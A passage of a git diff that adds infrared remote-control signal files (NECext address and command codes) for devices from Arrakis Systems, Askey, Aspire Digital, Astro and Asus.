parsed +protocol: NECext +address: 67 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir new file mode 100644 index 000000000..da0905aeb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: CD# +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0B 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0D 00 00 00 +# +name: TR# +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0E 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0F 00 00 00 +# +name: 1CD +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 10 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 11 00 00 00 +# +name: TR- +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 12 00 00 00 +# +name: TR+ +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 13 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 15 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 16 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 18 00 00 00 +# +name: ALLCD +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 19 00 00 00 +# +name: SEQL +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1D 00 00 00 +# +name: NUMBER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1E 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir new file mode 100644 index 000000000..f7bf313e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 03 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 06 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: CD# +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0B 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0D 00 00 00 +# +name: TR# +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0E 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: 1CD +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 11 00 00 00 +# +name: TR- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TR+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 13 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 14 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 15 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 16 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: ALLCD +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 19 00 00 00 +# +name: SEQL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1D 00 00 00 +# +name: NUMBER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1E 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir new file mode 100644 index 000000000..0954849e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: LOOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: FINE_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: FINE_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir new file mode 100644 index 000000000..3aff975cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: disc_oper +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: pscan +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: pal_ntsc +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: num_10+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: A-B_RPT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir new file mode 100644 index 000000000..55c572c94 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: <-_PR_(RETURN) +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: LIST/OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: SEARCH_REW_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: UHF +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: GELB/YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: BLAU/BLUE_L/R +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: ROT/RED_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: N/GREEN_POS. +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: PLAY/SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: FFW_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 26 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 27 00 00 00 +# +name: 4:3_/_16:9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir b/assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir new file mode 100644 index 000000000..f71894ff9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 04 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 05 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 06 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 07 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 08 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 0A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 19 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 1A 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 1B 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 1C 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 1D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 FD 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir new file mode 100644 index 000000000..377b8cd55 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 01 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 02 00 00 00 +# +name: ez_wifi +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 08 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 09 00 00 00 +# +name: ap_launch +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0B 00 00 00 +# +name: noise_off +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0E 00 00 00 +# +name: quick_power +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir new file mode 100644 index 000000000..5a9904927 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed 